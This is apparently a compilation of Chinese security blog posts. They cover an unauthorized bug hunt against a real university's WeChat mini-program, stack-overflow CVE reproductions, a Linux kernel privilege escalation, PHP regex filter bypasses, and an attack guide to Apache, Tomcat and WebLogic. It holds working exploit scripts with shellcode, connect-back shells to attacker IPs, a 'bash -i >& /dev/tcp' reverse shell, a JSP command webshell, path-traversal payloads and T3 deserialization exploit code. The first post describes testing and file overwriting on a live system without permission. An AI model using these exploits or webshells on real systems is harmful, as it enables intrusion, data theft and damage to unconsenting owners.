记一次对某高校微信小程序的漏洞挖掘
挖掘目标的部署在微信的资产(减少信息的收集,毕竟一般web站点没有账号密码不好进入后台,挖掘功能点少) 1.寻找目标的微信小程序(非原图) 2.招生小程序打不开,只能挖掘管理系统 进入后发现存在上报安全隐患功能,可以上传图片 3.准备上传shell 发现控制上传名字参数为name,不是filename 修改后成功上传php脚本 4.放在浏览器发现不解析,直接下载,只能尝试上传xss 存储型xss加1 5.弱口令尝试失败,但是发现为Nginx搭建的(使用Wappalyer扩展) 6.因为之前有文件上传的漏洞,又是Nginx搭建的,通过Nginx的目录穿越漏洞去尝试任意文件覆盖(为了防止这个平台崩溃,只覆盖自己进行目录穿越后的文件) 覆盖前: (看上传文件路径,为uploads下,原为日期20240312下) 覆盖后: 任意文件覆盖加1,扩大危害(可以覆盖网站配置文件导致网站崩溃,也可以覆盖登录页面的js文件来进行钓鱼) 7.微信小程序测试完了(没有授权,不敢扩大危害获取账号密码),就去试试公众号上的服务 没有账号密码可以进入的只有这个预约系统,直接bp启动(公众号图片不是原图,原图特征太明显了) 8.进入后没有什么功能点,成功fuzz出信息 尝试userid遍历,没有反应 直接寻找get请求放在Intruder模块进行接口fuzz(/api/user/下) 成果: creatorId对应值为身份证,敏感信息泄露加1 9.对fuzz出来的role接口进行拼接尝试 简单尝试下发现g了(没有权限) 10.峰回路转,之前测试这个没有写报告,重新测试时,接口fuzz的接口记错了,结果在上一级目录下又进行了一次fuzz(/api/下),发现 微信ak-sk加access_token 身份证等敏感信息 主要这个接口的值还是实时刷新的,信息会变(看前后idCard匹配对比) 总结: 文件上传漏洞不能解析(低危漏洞),但是碰见合适的框架漏洞(Nginx的目录穿越),就变成的高危的任意文件覆盖,测试功能点找不到接口,试试接口fuzz,一下信息全部出来,立马高危,修复建议:修复历史漏洞,加强接口鉴权。
从CVE复现看栈溢出漏洞利用
最近复现了两个栈溢出漏洞的cve,分别是CVE-2017-9430和CVE-2017-13089,简单记录一下real wrold中的栈溢出漏洞学习。目前,栈溢出漏洞主要出现在iot固件中,linux下的已经很少了,所以这两个洞都是17年,比较早,但还是能学到一些东西。 CVE-2017-9430 1.漏洞描述 dnstracer 1.9 及之前版本中基于堆栈的缓冲区溢出允许攻击者通过命令行造成拒绝服务(应用程序崩溃),或者可能通过命令行造成未指定的其他影响。 2.环境搭建 编译安装DNSTracer 1.9 wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz tar zxvf dnstracer-1.9.tar.gz cd dnstracer-1.9 ./confugure make && sudo make install 在make前,修改Makefile CC = gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0 -no-pie -m32 编译好后,关闭ASLR sudo echo 0 > /proc/sys/kernel/randomize_va_space 或者 sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space" 3.漏洞成因 程序在处理命令行参数时,调用strcpy函数对argv[0]进行处理时,由于处理不当,导致了栈溢出漏洞。 4.漏洞利用 这里在进行利用时,关闭了ASLR、PIE、Canary、RELRO、NX等缓解机制。 由于strcpy未对参数长度进行检查,这里导致的栈溢出漏洞可以溢出足够的字符长度,并且关闭了各种缓解机制,所以我们通过返回到shellcode的方式获取shell。但在复现的过程中,发现一个有趣的地方。如果我直接溢出到返回地址,并不能完成预想的get shell。回到汇编 发现了问题,这里在ret之前,栈指针变了,是由ecx的值决定的,而ecx是从栈pop出来的。分析这段汇编代码发现,如果正常情况下,最后esp的位置和直接返回的没有这段处理代码的位置相同,但由于由这段代码,就导致不能直接覆盖到返回地址,否则会在执行倒数第二条汇编指令时触发非法地址。 所以,这里不能直接覆盖到返回地址,而是要通过布置栈中数据控制ecx,从而将ecx-4处的地址赋给esp,使esp指向存有shellcode地址的位置,这样就可以正常完成get shell了。 内存布局如下图 exp如下: #!/usr/bin/python3 # -*- encoding: utf-8 -*- from pwn import * context(os = 'linux', arch = 'amd64', log_level = 'info') # context(os = 'linux', arch = 'amd64', log_level = 'debug') context.terminal = ['tmux', 'splitw', '-h'] elf = './dnstracer-1.9/dnstracer' # elf = ELF('./simpleinterpreter') #----------------------------------------------------------------------------------------- rv = lambda x           : p.recv(x) rl = lambda a=False     : p.recvline(a) ru = lambda a,b=True     : p.recvuntil(a,b) rn = lambda x           : p.recvn(x) sn = lambda x           : p.send(x) sl = lambda x           : p.sendline(x) sa = lambda a,b         : p.sendafter(a,b) sla = lambda a,b         : p.sendlineafter(a,b) u32 = lambda             : u32(p.recv(4).ljust(4,b'\x00')) u64 = lambda             : u64(p.recv(6).ljust(8,b'\x00')) inter = lambda           : p.interactive() debug = lambda text=None : gdb.attach(p, text) lg = lambda s,addr       : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr)) #----------------------------------------------------------------------------------------- if __name__ == "__main__": filling = "\x90"*(1050-32-32-1-0x300)    filling += "\x4c\xcd\xff\xff"     # ShellcodeAddress    filling += "\x90"*0x300       # 0xffffcd4c    filling += "\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"+"aa"    filling += "bbbb"*4    filling += "\x4c\xcd\xff\xff" # ecx   esp=[ecx-4]    payload = filling    p = gdb.debug([elf, payload],"b *0x0804969E")    inter() 5.坑点 在复现的时候还有一些坑点,我暂时也不知道原因。 ①第一点就是这个在返回前对esp进行处理的汇编,我不知道为什么我编译出来的程序会有这一段,在网上看其他师傅复现的文档,都没有遇到这个问题,疑惑ing。 ②第二点是我在复现的时候,明明已经关闭了ASLR了,按理说每次调试的时候,栈地址应该不会变才对,但事实上,我当天的地址是固定的,但隔天可能就会有0x10的偏移,很诡异,这就导致exp无法稳定攻击,为此只能在shellcode前面加很多的nop,让这个地址即使发生了偏移也能完成利用。 CVE-2017-13089 1.漏洞描述 http.c:skip_short_body() 函数在某些情况下被调用,例如在处理重定向时,在 1.19.2 之前的 wget 中分块发送响应时,块解析器使用 strtol() 读取每个块的长度,但不检查块长度是否为非负数,然后,代码尝试使用 MIN() 宏跳过 512 字节的块,但最终将负块长度传递给 connect.c:fd_read(),由于 fd_read() 采用 int 参数,因此丢弃了块长度的 32 位高位,使 fd_read() 具有完全由攻击者控制的长度参数。 2.环境搭建 在ubuntu16.04下搭建会比较稳定。 sudo apt-get install libneon27-gnutls-dev wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz tar zxvf wget-1.19.1.tar.gz cd wget-1.19.1 sudo apt-get remove wget ./configure make && sudo make install 3.漏洞成因 由于使用strtol来读取每个块的长度,但没有进行负数检查。 例如读入长度为-0xFFFFF000,经过处理得到v22为0xffffffff00001000 后面有3次对长度的校验,但都只进行了上限校验,未进行下限校验,由于v22是int,且符号位为1,都满足校验条件,最终将长度传入函数fd_read。 由于fd_read()函数的长度参数即a3为无符号数,就使得读取的长度由用户可控,造成了栈溢出。 4.漏洞利用 这里在进行利用时,我们首先关闭ASLR、PIE、Canary、RELRO、NX等缓解机制。 根据漏洞成因的分析,我们可以先构造poc,控制读取的长度为我们利用需要的size,这里我设置为0x1000,相应poc如下 payload = """HTTP/1.1 401 Not Authorized Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive -0xFFFFF000 """ 调试方式: 生成poc python3 exp.py 发包窗口 nc -lp 6666 < poc2             gdb调试窗口 gdb wget b *addr r localhost:6666 先执行exp,生成poc,然后发包,然后执行wget http://localhost:6666 这个的栈溢出就比前面那个cve的栈溢出正常一点,直接覆盖返回地址为shellcode的地址就可以了。由于我们这里关闭了所有缓解机制,就直接在栈中布置shellcode,获取shellcode地址,覆盖到返回地址就ok了。 exp如下 from pwn import * payload = """HTTP/1.1 401 Not Authorized Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive -0xFFFFF000 """ context(arch='amd64', os='linux') sc = asm(shellcraft.connect('127.0.0.1',4444)+shellcraft.dupsh()) #print(sc) payload = payload.encode() payload += sc + (560+8-len(sc))*b'\x90' #栈偏移量568 stack = 0x7fffffffd190 payload += p64(stack) #输入数据起始地址 payload += b"\n0\n" with open('poc2','wb') as f: f.write(payload) 但是,如果开了ASLR,怎么办呢,我们很自然地会想到jmp reg的方式。 首先看看ret的时候,有没有寄存器可以用 很巧,rsi正好指向我们的shellcode,于是我们就可以去找个jmp rsi的gadget完成ASLR的绕过 直接找gadget比较慢,可以先把所有gadget重定向到txt中,然后在txt中查找会比较快 ROPgadget --binary=wget > gadget.txt cat gadget.txt | grep 'jmp rsi' 得到绕过ASLR的exp from pwn import * payload = """HTTP/1.1 401 Not Authorized Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive -0xFFFFF000 """ context(arch='amd64', os='linux') sc = asm(shellcraft.connect('192.168.110.138',4444)+shellcraft.dupsh()) #print(sc) payload = payload.encode() payload += sc + (560+8-len(sc))*b'\x90' #栈偏移量568 stack = 0x7fffffffd190 jmp_rsi = 0x0000000000475bcb #payload += p64(stack) #输入数据起始地址 payload += p64(jmp_rsi) payload += b"\n0\n" with open('poc2','wb') as f: f.write(payload) 可以看到,成功绕过了ASLR缓解机制,执行shellcode 5.坑点 在复现的过程中,我发现在关闭ASLR时,我通过第一种方式攻击,必须在gdb中执行才能成功,如下图 直接在命令行中执行wget http://localhost:6666会崩溃 但绕过ASLR的exp就可以直接执行,我怀疑是没有把ASLR完全关闭,但查看ASLR的值确实都是0,不知道为啥会这样。 小总结 在对这两个cve的复现中,对栈溢出漏洞的ret2shellcode和jmp reg两种利用方式进行了复习,遇到了一点比较有意思的东西,比如第一个cve中ret前对esp的改变。不论是在ctf中还是realworld,程序的利用最终一定是基于对程序汇编的理解,遇到问题,回归本源。
KASLR绕过及提权利用(CVE-2023-35001)
前言 本文将介绍如何绕过KASLR以及如何提权利用。 KASLR绕过 可以利用byteorder操作加上netlink组订阅可以泄露rule中的handle字段。该方法应该是可以用来泄露kernel基地址的,但是作者还提出另一种方法进行泄露。应该是为了提权利用做铺垫。 由于发现已经泄露的模块的基地址,因此可以利用模块地址伪造表达式。 作者找到了range表达式,用于伪造其余表达式。总大小为0x23。并且表达式是八字节对齐的,因此该结构体会占用0x28字节。 struct nft_range_expr { struct nft_data data_from; struct nft_data data_to; u8 sreg; u8 len; enum nft_range_ops op:8; }; 具体的布局如下 可以看到data_from与data_to都是从用户态中传递过去的数据,因此我们可以在这些区域内伪造表达式,这有点像在CTF中,我们泄露了堆块基址后,随意伪造堆块。 由于我们有0x28字节的空间,但是实际能够操作的空间是data_from与data_to两段,即0x20的空间大小。因此我们需要挑选小于0x20的规则表达式进行伪造,并且能够执行泄露功能的。 这里作者选用了byteorder表达式,可以看到该表达式在对齐后只占用八字节。 struct nft_byteorder { u8 sreg; u8 dreg; enum nft_byteorder_ops op:8; u8 len; u8 size; }; 构造后,可以发现还有八字节的data_to没有用,但是并不能直接丢弃不适用,因为在调用完byteorder操作后还需要继续执行其他规则表达式。 但是其他表达式都是需要大于0x8的,毕竟一个操作指针就占用八字节了,此时作者选用了meta表达式。可以看到meta表达式也只用到了三个字节,刚好对应range表达式的sreg、len以及op。 struct nft_meta { enum nft_meta_keys key:8; u8 len; union { u8 dreg; u8 sreg; }; }; meta表达式的操作如下,在meta表达式中meta->key执行具体的操作,如[1],但是若该值是非法值则会执行[2],可以看到该meta表达式仅会抛出异常,但是不会终止运行,这就说明即使meta->key是非法值也不会影响后续规则表达式的正常执行。 File: linux-5.19\net\netfilter\nft_meta.c 418: void nft_meta_set_eval(const struct nft_expr *expr, 419:       struct nft_regs *regs, 420:       const struct nft_pktinfo *pkt) 421: { 422: const struct nft_meta *meta = nft_expr_priv(expr); 423: struct sk_buff *skb = pkt->skb; 424: u32 *sreg = &regs->data[meta->sreg]; 425: u32 value = *sreg; 426: u8 value8; 427: 428: switch (meta->key) { ----> [1] 429: case NFT_META_MARK: 430: skb->mark = value; 431: break; 432: case NFT_META_PRIORITY: 433: skb->priority = value; 434: break; 435: case NFT_META_PKTTYPE: 436: value8 = nft_reg_load8(sreg); 437: 438: if (skb->pkt_type != value8 && 439:    skb_pkt_type_ok(value8) && 440:    skb_pkt_type_ok(skb->pkt_type)) 441: skb->pkt_type = value8; 442: break; 443: case NFT_META_NFTRACE: 444: value8 = nft_reg_load8(sreg); 445: 446: skb->nf_trace = !!value8; 447: break; 448: #ifdef CONFIG_NETWORK_SECMARK 449: case NFT_META_SECMARK: 450: skb->secmark = value; 451: break; 452: #endif 453: default: 454: WARN_ON(1); ---->[2] 455: } 456: } 因此第二个伪造的表达式也找到了,就是meta表达式。由于我们直接伪造了规则表达式,因此不会进行寄存器参数的校验,只要选择内核地址选择泄露即可。 这里简单说一下伪造的规则头,此时的len需要设置为0x20以及islast需要设置为0。 最后泄露的效果如下,即使内核已经抛出了异常,但是不会影响后续表达式的正常执行。 提权利用 既然可以随意伪造表达式,因此我们可以伪造payload表达式。 struct nft_payload { enum nft_payload_bases base:8; u8 offset; u8 len; u8 dreg; }; 在regs下方存在着nft_do_chain函数返回地址,因此可以直接通过payload表达式将提权payload注入进来。 由于我们可以伪造payload表达式,因此注入的payload长度不受限,因此采用 commit_creds(prepare_kernel_cred(0)),构造root凭证 接着利用find_task_by_vpid、init_nsproxy以及switch_task_namespaces切换命名空间。 最后利用蹦床swapgs_restore_regs_and_retrun_to_usermode返回到用户空间完成提权利用。 完整exp:https://github.com/h0pe-ay/Vulnerability-Reproduction/tree/master/CVE-2023-35001(nftables)
关于转义符 \ 在php正则中的匹配问题
今天做题遇到一个很经典的问题,记录一下,先看一段代码 <?php $str,=,"\\"; $pattern,=,"/\\/"; if(preg_match($partern,$str,$arr)) { ,,,,echo,"success"; ,,,,print_r($arr); }else{ ,,,,echo,"false"; } 看到这段代码的师傅们,思考一下,会输出success还是false 输出false,正则没有被匹配到,为什么呢? php对转义符的解析 php解析正则时分为了两个步骤,一个是php对字符串的解析,之后才是对正则的解析,那么php在解析字符串时什么时候才会将\解析为转义呢?只有在某一字符会对这一语句产生混淆时,php才会将\解析为转义。 分析一个正则匹配 首先php对字符串进行解析: 在这种情况下可以看到str中\并没有被当成转义符 而在pattern中,由于有多个\并且在正则表达式中存在/,会混淆正则表达式的边界,因此这四个转义符的作用分别是: 第一个转义符转义第二个转义符 第三个转义符转义第四个转义符,第五个转义符转义/ 因此php最终解析出的str为,\/,pattern为,\\/ 到preg_match时,进行正则解析(正则解析只解析正则表达式): 将pattern中的,\\/,解析为\/,(第一个转义符转义了第二个转义符) 经过php和正则的解析后,我们可以发现str与pattern是一样的字符串了,所以应该会输出success,并且匹配到的部分为\/ 验证成功 这里提出一个问题,如果在pattern中,我的正则内容中不想使用\来转义/,并且还想输出success,那应该怎么修改正则内容呢? 我们刚才提到,转义是为了防止语句中的字符产生混淆,/与正则边界产生了混淆,所以我们用其他的字符作为边界就好了,比如# 总结:在一般情况下,只有字符串中的某一字符会对该语句产生混淆,这时该符号前的\才具有转义作用。 这里我在做测试有一个小坑 首先php的字符串解析:可以看到由于字符串中并没有可能会产生混淆语句的字符,因此\都没有转义作用。 正则进行解析(只解析正则表达式,不解析其他字符串):pattern中的\/被解析成了/, 因此最终的正则匹配是在字符串\/中匹配/,因此输出了/ 这里我一开始以为str中的\也发挥了转义作用,其实并不是。 回到最初的问题,为什么输出了false <?php $str,=,"\\";, $pattern,=,"/\\/";,, if(preg_match($partern,$str,$arr)) { ,,,,echo,"success"; ,,,,print_r($arr); }else{ ,,,,echo,"false"; } 按照上面的流程分析, 首先php进行字符串解析: str被解析为\,pattern被解析为\ 进行正则表达式解析: pattern中含有转义符\,现在正则需要这个转义符去发挥转义作用,但在正则表达式中已经没有其他字符去转义了,导致了正则表达式的解析错误,pattern最终被解析成了什么我们也不知道 所以最终在进行正则匹配时会输出false 那么我们应该怎么让它输出success呢? php正则如何正确匹配\ 刚才我们提到在正则解析时只剩下了一个\,导致了解析的错误,那么如果我们在正则解析这步剩下两个\是不是就可以在正则解析中保留下一个\呢?再往前推,如果想要正则解析这步里保留两个\,那么在定义partern字符串的时候我们是不是要写四个\才可以? 具体的解析过程我就不讲了,跟上面是完全一样的。 总结:php在正则中匹配\时需要在正则表达式中写入四个\ 一道ctf题的分析 题目来源:[安洵杯,2019]easy_web,wp移步主页查找,如果没有就是还没写完。 if,(preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",,$cmd)),{ ,,,,echo("forbid,~"); 在这一段代码中对传入的cmd命令进行了过滤,并且可以看到其中有四个反斜杠,对\做出了过滤,但最后仍然可以用反斜线逃逸,ca\t,l\s执行命令,这是为什么呢? 按照我们上面所说的进行分析,首先php对字符串进行解析: \\被解析为\ \\\\,被解析为\\ 经过字符串解析,原本的|\\|\\\\|,变成了|\|\\| 正则表达式解析: 第一个\|被解析为| \\被解析为\ 经过两次解析后,最终的正则表达式变成了||\|,所以实际上是对|\进行了过滤,所以就可以使用\进行绕过了。 因此解决的办法是在正则过滤中不要添加\\这一项,会导致整个正则表达式直接变味。 这里跟着原帖看发现原帖说的有点问题,自己思考了一下做出了一些猜想,发现是正确的。 还有原帖中提到的一个问题,这里为什么随便一个字符串甚至是空都可以匹配成功,因为在|\\\\|的左右两边没有东西,为空,所以随便匹配都可以匹配到。 解决方法就是两边加上东西就可以了。 自己的小感想 这道题在网上的wp基本都是直接用\去执行命令,但很少有人能去讨论为什么可以这么绕过,后端代码已经做出了过滤,为什么还是会被绕过,我很幸运能够看到更深的分析,这也是我第一次自己有独立的想法去不断的调试代码,虽然每一次看到其他大佬wp里不合理的地方感觉很迷茫,但是还找不到理由,但是经过不断的调试发现有些其他大佬的东西也不一定就都是对的,而且自己不断调试后找到问题有一种说不出来的成就感,总结起来就是看问题要深入,有耐心。引用原帖的一句话就是
中间件漏洞攻防学习总结
前言 面试常问的一些中间件,学习总结一下。以下环境分别使用vulhub和vulfocus复现。 Apache apache 文件上传 (CVE-2017-15715) 描述: Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。 此漏洞的出现是由于 apache 在修复第一个后缀名解析漏洞时,用正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进行解析,导致绕过一些服务器的安全策略 说明是黑名单绕过使用编码器,在php后面加0a这里加a是方便修改0a apache httpd解析漏洞 查看配置文件grep -rn "x-httpd-php"改漏洞存在的主要原因是这个配置文件的原因 Apache SSI 远程命令执行漏洞 在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->语法执行任意命令。有限制,影响版本是apache全版本,支持SSI与CGI默认的扩展名是.stm、.shtm 和 .shtml CVE-2021-41773 目录穿越 Apache HTTP Server2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。符合版本payload curl -v --path-as-is http://192.168.48.144:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd CVE-2021-42013 RCE&目录遍历&文件解析 apache HTTP Server2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache2.4.49 和 Apache2.4.50,而不影响更早版本POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1Host: 192.168.48.144:8 echo;id Tomcat CVE-2017-12615 文件上传 当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限这里存在PUT任意文件上传漏洞但是值得一提的是这里有个细节,org.apache.jasper.servlet.JspServlet:默认处理jsp,jspx文件请求,不存在PUT上传逻辑,无法处理PUT请求org.apache.catalina.s <%if("666".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%> /绕过%20绕过xxx.jsp::$DATA绕过冰蝎马连接 CVE-2020-1938 文件包含 ApacheTomcat AJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。漏洞影响的产品版本包括:Tomcat6.*Tomcat7.<7.0.100Tomcat8.<8.5.51Tomcat9.*<9.0.31使用这个脚本CNVD-2020-10487-Tomcat-Ajp-lfi.pyhttps://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfipython2 CNVD-20 tomcat弱口令getshell 这里弱口令地点在这个manager这里尝试tomcat/tomcat使用哥斯拉生成jsp马,然后压缩zip,修改文件名war在这里上传这里多个目录,地址请求/1/1.jspwebshell连接 weblogic Weblogic是Oracle公司推出的J2EE应用服务器。探针默认端口:7001推荐工具https://github.com/KimJun1010/WeblogicTool/ weblogic ssrf(CVE-2014-4210) weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。影响版本Oracle WebLogic Server 10.3.6.0Oracle WebLogic Server 10.0.2.0http://192.168.48.144:7001/uddiexplorer/ 未授权访问ssrf payload/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Bus weblogic 反序列化(CVE-2017-10271) 描述: Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。 Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。该漏洞的原因主要是XMLDecoder解析用户的XML的数据 weblogic 反序列化(CVE-2018-2628) 该漏洞通过T3协议触发,可导致远程命令执行漏洞影响版本 Weblogic 10.3.6.0 Weblogic 12.1.3.0 Weblogic 12.2.1.2 Weblogic 12.2.1.3 什么是T3协议?T用于在Weblogic服务器和其他类型的Java程序之间传输信息的协议。Weblogic会跟踪连接到应用程序的每个Java虚拟机,要将流量传输到Java虚拟机,Weblogic会创建一个T3连接。该链接会通过消除在网络之间的多个协议来最大化效率,从而使用较少的操作系统资源。用于T3连接的协议还可以最大限度减少数据包大小,提高传输速度http://192.168.48.144:7001/ 访问7001端口,也是这个页面,类似springboot,可以用这个作为weblogic的特征 bash -i >& /dev/tcp/192.168.48.144/6677 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82Njc3IDA+JjE= java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82Njc3IDA+JjE=}|{base64,-d}|{bash,-i}'CVE-2018-2628 EXP from __future__ import print_function import binascii import os import socket import sys import time def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):   #generates ysoserial payload   command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)   print("command: " + command)   os.system(command)   bin_file = open('payload.out','rb').read()   return binascii.hexlify(bin_file) def t3_handshake(sock, server_addr):   sock.connect(server_addr)   sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))   time.sleep(1)   sock.recv(1024)   print('handshake successful') def build_t3_request_object(sock, port):   data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c6545   data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e   data3 = '1a7727000d3234322e323134'   data4 = '2e312e32353461863d1d0000000078'   for d in [data1,data2,data3,data4]:       sock.send(d.decode('hex'))   time.sleep(2)   print('send request payload successful,recv length:%d'%(len(sock.recv(2048)))) def send_payload_objdata(sock, data):   payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c00007870   payload+=data   payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e74657   payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)   sock.send(payload.decode('hex'))   time.sleep(2)   sock.send(payload.decode('hex'))   res = ''   try:       while True:           res += sock.recv(4096)           time.sleep(0.1)   except Exception:       pass   return res def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   sock.settimeout(65)   server_addr = (dip, dport)   t3_handshake(sock, server_addr)   build_t3_request_object(sock, dport)   payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)   print("payload: " + payload)   rs=send_payload_objdata(sock, payload)   print('response: ' + rs)   print('exploit completed!') if __name__=="__main__":   #check for args, print usage if incorrect   if len(sys.argv) != 7:       print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '             '[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')       sys.exit()   dip = sys.argv[1]   dport = int(sys.argv[2])   path_ysoserial = sys.argv[3]   jrmp_listener_ip = sys.argv[4]   jrmp_listener_port = sys.argv[5]   jrmp_client = sys.argv[6]   exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client) weblogic 未授权RCE(CVE-2020-14882) 漏洞影响版本Oracle Weblogic Server 10.3.6.0.0Oracle Weblogic Server 12.1.3.0.0Oracle Weblogic Server 12.2.1.3.0Oracle Weblogic Server 12.2.1.4.0Oracle Weblogic Server 14.1.1.0.0payload 未授权访问后台http://192.168.48.144:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsContro http.client.HTTPConnection.http_vsn = 10http.client.HTTPConnection.http_vsn_str = 'HTTP/1.0' requests.packages.urllib3.disable_warnings() #功能1方法:回显命令执行。def command(url_cmd,headers_cmd,url): try: res = requests.get(url_cmd, headers = headers_cmd,timeout = 15, verify = False) if "<html" not in res.text and "<TITLE" not in res.text : print ("[+] Command success result:") print (res.text) else: print ("[-] " + url + " not vulnerable or command error!") except Exception as e: #print (e) print ("[-] " + url + " not vulnerable or command error!") #功能2方法:无回显,命令执行,适用于Weblogic 10.x、12.x。def weblogic_12(url_cmd,post_12,headers_12): try: res = requests.post(url_cmd, data = post_12, headers = headers_12,timeout = 15, verify = False) #print ("[+] Attack complete!") except Exception as e: print ("[+] Attack complete!") def main(): banner = """ ___ ___ _ _ _ _ __ _ _ _ _ _ / __\ \ / / | |__ \ / _ _ \ / _ \ /_ | || | / _ \ / _ __ \ | | \ \ / /| |_ __ ) | | | | ) | | | |__| | || || () | () | ) || | \ \/ / | |_/ /| | | |/ /| | | |_| | _> _ < > _ < / / | | \ / | | / /| || / /| || | | | | || () | () / / _| \/ |__| ||_/_                                                     Author:GGyao                                                     Github:[https://github.com/GGyao](https://github.com/GGyao) """ print (banner) parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", help="Target URL; Example:http://ip:port。") parser.add_argument("-f", "--file", help="Target File; Example:target.txt。") parser.add_argument("-c", "--cmd", help="Commands to be executed; ") parser.add_argument("-x", "--xml", help="Remote XML file; Example:[http://vpsip/poc.xml;](http://vpsip/poc.xml;) ") args = parser.parse_args() #功能1:命令回显。 if args.url != None and args.cmd != None: url = args.url url_cmd = args.url + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentW headers_cmd = { 'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0', 'cmd':args.cmd, 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Content-Type':'application/x-www-form-urlencoded' } 